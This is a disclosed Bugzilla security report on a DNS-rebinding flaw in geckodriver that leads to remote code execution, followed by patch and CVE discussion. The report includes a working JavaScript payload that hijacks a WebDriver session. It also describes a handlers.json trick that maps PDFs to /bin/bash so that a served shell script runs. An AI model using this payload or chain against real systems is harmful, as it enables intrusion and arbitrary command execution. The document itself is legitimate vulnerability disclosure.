DNS-rebinding vulnerability to RCE in geckodriver
Categories
(Testing :: geckodriver, task, P1)
Tracking
(firefox-esr78 wontfix, firefox-esr91 wontfix, firefox90 wontfix, firefox91 wontfix, firefox92 fixed)
People
(Reporter: gabriel.corona, Assigned: jgraham)
References
Details
(Keywords: csectype-priv-escalation, csectype-sandbox-escape, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form][post-critsmash-triage][adv-main92-])
Attachments
(5 files)
geckodriver is vulnerable to DNS rebinding attack.
A malicious origin can send requests to a geckodriver instance
(create a new session, navigate, etc.).
In contrast to the CSRF vulnerability previously reported,
when using this vulnerability, an attacker can see the responses
of the attacked geckodriver instance and can thus interact
with the created session. This could be used:
- to attack local services (localhost-bound or on the local network);
- to attack remote services using the IP address of the victim;
- reading local files (by navigating to
file://
); - running other programs by navigating to URIs with other schemes;
- remote code execution (see below).
This vulnerability has been tested on:
- Mozilla Firefox Nightly 80.0a1 (2020-07-13)
- geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
- Debian testing
Reproduction steps
- Get a domaine name under your control (in this example I'm using
rebind.netlib.re
controlled using https://netlib.re/) - Run geckodriver,
geckodriver
- Serve the proof-of-concept (see attachment),
python3 -m http.server --bind 127.0.0.99 4444
- Associate your domain name to the IP address of the payload server with a short TTL (
@ A 5 127.0.99
) - Open this website in a web browser (
firefox http://rebind.netlib.re:4444
) - Associate your domain name to the IP address of the geckodriver instance (
@ A 5 127.0.1
)) - Wait (appoximately one minute) for the browser to hit the geckodriver instance
This process can be automated (and accelerated) using dedicated DNS rebinding frameworks.
Payload:
function sleep(delay) {
return new Promise((resolve, reject) => {setInterval(resolve, delay);});
}
async function createSession() {
while (true) {
const response = await fetch("/session", {
method: "POST",
mode: "same-origin",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
}
}
})
});
if (response.status >= 200 && response.status < 300)
return response.json();
await sleep(1000);
}
}
async function main() {
const creation = await createSession();
const sessionId = creation.value.sessionId;
const sessionPath = "/session/" + sessionId;
fetch(sessionPath + "/url", {
method: "POST",
mode: "same-origin",
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
"url": "https://www.youtube.com/watch?v=oHg5SJYRHA0"
})
});
}
main()
Getting remote code execution
As the attacker can control the Firefox instance, we can now find
new ways to execute arbitrary shell commands (see main2.html
).
By using the profile
parameters, the attacker can set this handlers.json
file:
{"defaultHandlersVersion":{"fr":3},"mimeTypes":{"application/pdf":{"action":2,"extensions":["pdf"],"handlers":[{"name":"bash","path":"/bin/bash"}]}},"schemes":{"irc":{"stubEntry":true,"handlers":[null,{"name":"Mibbit","uriTemplate":"https://www.mibbit.com/?url=%s"}]},"ircs":{"stubEntry":true,"handlers":[null,{"name":"Mibbit","uriTemplate":"https://www.mibbit.com/?url=%s"}]},"mailto":{"stubEntry":true,"handlers":[null,{"name":"Yahoo! Mail","uriTemplate":"https://compose.mail.yahoo.com/?To=%s"},{"name":"Gmail","uriTemplate":"https://mail.google.com/mail/?extsrc=mailto&url=%s"}]}}}
Using this configuration file, the Firefox instance will use
/bin/bash
for opening PDF file.
The PDF we are going to serve is actually a bash script:
xterm -e nyancat
The attacker can redirect the Firefox instance under his control
to this shell script (served as a PDF): Firefox will use
bash
to open this file. Using this construct the
attacker can execute an arbitrary system command as the user.
Mitigations
Checking the Host header
geckodriver is vulnerable to DNS rebinding attacks because it is accepting
requests using arbitrary Host
header (eg. Host: rebind.netlib.re
).
By checking the value of the Host
header and enforcing values such as
localhost:4444
, we can prevent DNS rebinding attacks.
HTTP-level Authentication
As previously discussed, adding (opt-in) HTTP-level authentication
would prevent a wide range of attacks (including attacks from local users)
if this feature were to be supported by WebDriver clients.
PF_LOCAL Socket
As previously discussed, adding an options for using PF_LOCAL
socket would prevent a wide range of attacks
if this feature were to be supported by WebDriver clients.
Updated•4 years ago
|
Reporter | ||
Comment 1•4 years ago
|
||
Proof-of-concept
Comment 2•4 years ago
|
||
James, can you please have a look?
Assignee | ||
Comment 3•4 years ago
|
||
AFAICT this is also fixed by checking the Origin
header, since that's unconditionally set on POST requests and all sessions start with a POST
. Therefore I'd expect the patches in bug 1648964 to also address this attack. It's straightfoward to also check the host header so I can make a patch to do that too unless we think it's unnecessary for whatever reason.
Assignee | ||
Comment 4•4 years ago
|
||
Check that the Host header is set and that the host and port are local
or match the address that the WebDriver server is running on.
Updated•4 years ago
|
Reporter | ||
Comment 5•4 years ago
|
||
Yes, indeed it should be fixed on modern browser by the patch checking Origin
. I was not aware it was sent even for same-origin POST.
Assignee | ||
Comment 6•4 years ago
|
||
Did you test this against other implementations? It seems plausible that some other implementations that weren't susceptible to the RCE might allow you to get a user session with this approach, since you can get the session id and send further commands. In the worst case the WebDriver controlled browser might share state with normal user browser, giving remote access to user sessions (but I didn't check).
Reporter | ||
Comment 7•4 years ago
|
||
The status of other implementations regarding this is the same as for the CSRF vulnerablity. Chromiumdriver already checks the Host header and is thus not affected: Chromiumdriver-based implementations should not be affected as well. Selenium Server seems to be affected as well (and was contacted). I contacted Apple and do not know the state of their implementation for now.
Updated•4 years ago
|
Reporter | ||
Comment 8•4 years ago
|
||
Now that the fixes for 1648964 have been released, Geckodriver is mostly immune to DNS-rebinding attacks. This is because Geckodriver now checks that the Origin header is localhost (or 127.0.0.1, etc.). Therefore, DNS-rebinding should now only be possible for browsers which do not send the Origin header for same-origin POST requests.
I believe there are still a lot of browsers in the wild which do not send the Origin header in this case. Thus, I think it would still make sense to fix this by validating the Origin header as well.
Comment 9•4 years ago
|
||
Thanks Gabriel for bringing this up again. James, do you have an update for your patch?
Assignee | ||
Comment 10•4 years ago
|
||
I'm not confident that the host parsing in the patch is correct so I'd want to spend more time to get it right.
My feeling is that anyone using a client old enough to not send an Origin header with POST is likely harbouring more vunerablities than just this one, so I don't think it's very high priority to fix. But if someone from the security team has a different view please let me know :)
Comment 11•4 years ago
|
||
(In reply to James Graham [:jgraham] from comment #10)
My feeling is that anyone using a client old enough to not send an Origin header with POST is likely harbouring more vunerablities than just this one, so I don't think it's very high priority to fix. But if someone from the security team has a different view please let me know :)
Lets needinfo Frederik for that.
Comment 12•4 years ago
|
||
I also don't think this is "high priority".
I'm trusting James' judgement, but out of curiosity: Do we have an estimate of versions (or release-years) for those browsers that don't send the Origin header?
Comment 13•4 years ago
|
||
Hey Dan, Can you look at the last few comments on this bug (comment 8 through comment 12), and reassess if this is still a sec-high? Thanks!
Comment 14•4 years ago
|
||
I believe there are still a lot of browsers in the wild which do not send the Origin header in this case. Thus, I think it would still make sense to fix this by validating the Origin header as well.
I assume this is a typo and Gabriel means "validating the Host header" (which James' patch does). We definitely should do that, it's the original defense against rebinding attacks.
sec-moderate seems reasonable with bug 1648964 fixed.
Reporter | ||
Comment 15•4 years ago
|
||
Indeed, I wanted to say "validate the Host" header, sorry :)
Reporter | ||
Comment 16•3 years ago
|
||
Now that the details of bug 1648964 (CVE-2020-15660) are disclosed, it might lead malicious actors to this vulnerablity. Considering that the impact is RCE, it might be a good idea to fix this soonish.
While modern browsers should be immune to this attack, there are probably some other browsers (I'm thinking about things like embedded browsers in applications) which could be exploited.
Updated•3 years ago
|
Updated•3 years ago
|
Updated•3 years ago
|
Reporter | ||
Updated•3 years ago
|
Reporter | ||
Updated•3 years ago
|
Reporter | ||
Comment 18•3 years ago
|
||
Woops, I did not intend to change the priority, sorry.
I'd be interested in disclosing this. Would you have a schedule for this?
Reporter | ||
Comment 19•3 years ago
|
||
I intend to publish/disclose about this next week. Please tell me if you believe this is problematic. I don't believe this is terribly critical at this point.
Updated•3 years ago
|
Comment 20•3 years ago
|
||
The work on the patch continued, and we are trying to get the patch landed soon.
Assignee | ||
Comment 21•3 years ago
|
||
If an origin header is supplied with the request, validate it
corresponds to a service running on localhost.
Assignee | ||
Comment 22•3 years ago
|
||
Comment 23•3 years ago
|
||
All patches got landed:
https://hg.mozilla.org/mozilla-central/rev/6ff70786a69acacc09f49bde45ee1c628d48235a
https://hg.mozilla.org/mozilla-central/rev/e7afa31decf291885162d66e5eeac4d439180f7a
https://hg.mozilla.org/mozilla-central/rev/29aa1f68eba3e296a3cb44d2b8701f60233c992b
Updated•3 years ago
|
Reporter | ||
Comment 24•3 years ago
|
||
I've added some comment in the commit "More explictly only allow connections from local origins" (D120387).
If I understand this patch correctly, this does not look like a good idea. AFAUI, socket_addrs() triggers an domain name resolution. If this is the case, "www.example.com" can definitely fool this check using DNS rebinding (TOCTOU).
Nitpick: we are not even absolutely sure that the name resolution in the WebDriver client is the same as in the WebDriver server (for example, if the client is actually a browser using DoH).
As a summary, I'm wondering if this patch does not actually open up DNS-rebinding attacks.
Note: I did not actually test this commit yet.
Reporter | ||
Comment 25•3 years ago
|
||
As a summary, I'm wondering if this patch does not actually open up DNS-rebinding attacks.
No, it should actually be OK because of "Validate the Host header when starting GeckoDriver sessions" checks the Host header anyway (and the Content-Type check blocks cross-origin requests).
Updated•3 years ago
|
Updated•3 years ago
|
Reporter | ||
Comment 26•3 years ago
|
||
Concerning regression 1732622, it would be possible to always enable all literals IP addresses (in the Host header): it is not possible to conduct a DNS rebinding attacks through literal IP addresses. I guess for the Host header, we could:
- enable all literal addresses by default;
- enable localhost as well by default;
- enable extra values through some CLI option.
Concerning the Origin header, I don't believe it's absolutely necessary to keep this verification: it's not necessary for DNS-rebinding protection and CSRF protection is already provided by the the Content-Type check.
Commit 29aa1f68eba3e296a3cb44d2b8701f60233c992b is probably not necessary.
Reporter | ||
Comment 27•3 years ago
|
||
I checked the current version of the code and I believe this is still vulnerable to DNS rebinding attacks.
The verification of the Host header uses this function:
fn host_and_port_match_server(
server_host: &Host,
server_address: &SocketAddr,
header_host_port: (Host, Option<u16>),
) -> bool {
// Validate that the result of parsing the Host header matches the server configuration
// If there's no port we're a HTTP server so default to 80
let host = header_host_port.0;
let port = header_host_port.1.unwrap_or(80);
let host_matches = if host_is_local(server_host) && host_is_local(&host) {
// If both the host header and the server are standard loopback names,
// accept the match. This means that the server can bind to 127.0.0.1 and
// the request can be for http://localhost for example
true
} else if host == *server_host {
match host {
Host::Domain(ref domain) => {
// For a domain we also check that the ip matches
(domain.to_string(), port)
.to_socket_addrs()
.map(|addr_iter| {
addr_iter
.map(|addr| addr.ip())
.any(|ip| ip == server_address.ip())
})
.unwrap_or(false)
}
Host::Ipv4(_) | Host::Ipv6(_) => true,
}
} else {
false
};
let port_matches = server_address.port() == port;
host_matches && port_matches
}
If a domain name is used, we check all the IP addresses the host name resolves to. If any of these addresses is a localhost address, this verification is passing. This verification does not protect against DNS rebinding attacks.
Another verification is done using the Origin header:
fn origin_is_local(url_str: &str) -> WebDriverResult<bool> {
// Validate that the URL string from an Origin header corresponds to a local interface
let make_err = || {
WebDriverError::new(
ErrorStatus::UnknownError,
format!("Invalid Origin {}", url_str),
)
};
let url = Url::parse(&url_str).map_err(|_| make_err())?;
let sockets = url.socket_addrs(|| None).map_err(|_| make_err())?;
Ok(!sockets.is_empty() && sockets.iter().all(|x| x.ip().is_loopback())) // <- vulnerable to DNS rebinding attacks
}
However, this verification is vulnerable to DNS rebinding attacks: the DNS response obtained by the browser first DNS request may be different than the one obtained by GeckoDriver.
In conclusion, I believe that both verifications fail to completely protect against DNS rebinding attacks.
Reporter | ||
Comment 28•3 years ago
|
||
I verified against the latest version : the Host header verification is protecting correctly against DNS rebinding (as long server_host is not a domain name resolved using the DNS) thanks to if host_is_local(server_host) && host_is_local(&host)
and if host == *server_host
.
Updated•3 years ago
|
Reporter | ||
Comment 29•2 years ago
|
||
Would you have any hindsight on the schedule (CVE request, disclosure)?
Updated•2 years ago
|
Comment 30•2 years ago
|
||
(In reply to Gabriel Corona from comment #29)
Would you have any hindsight on the schedule (CVE request, disclosure)?
Sorry for the delay here. We ran out of CVE ids and needed to change our process for renewals.
I|ll defer to Henrik and James wrt to disclosure. I believe they are in the process of updating the release notes for 0.30.0.
Assignee | ||
Comment 31•2 years ago
|
||
Comment 32•2 years ago
|
||
I've updated the release notes at: https://github.com/mozilla/geckodriver/releases/tag/v0.30.0
Thanks Freddy!
Comment 33•2 years ago
|
||
Add CVE to release notes, r=whimboo,freddyb,webdriver-reviewers
https://hg.mozilla.org/integration/autoland/rev/820bb55ab967418329e0920b33e181f920fb0d07
https://hg.mozilla.org/mozilla-central/rev/820bb55ab967
Reporter | ||
Comment 34•2 years ago
|
||
The information about the vulnerability is available on the releases notes but the CVE is still listed as undisclosed and this bug entry is still private. Is this expected?
Comment 35•2 years ago
|
||
(In reply to Gabriel Corona from comment #34)
The information about the vulnerability is available on the releases notes but the CVE is still listed as undisclosed and this bug entry is still private. Is this expected?
Freddy can you please have a look?
Comment 36•2 years ago
|
||
Sorry Gabriel! I had send the necessary details to the CVE Assignment Team at MITRE in late December. I've just sent an email to ask for clarification..
Comment 37•2 years ago
|
||
Note that MITRE finally published the details:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4138
Updated•2 years ago
|
Description
•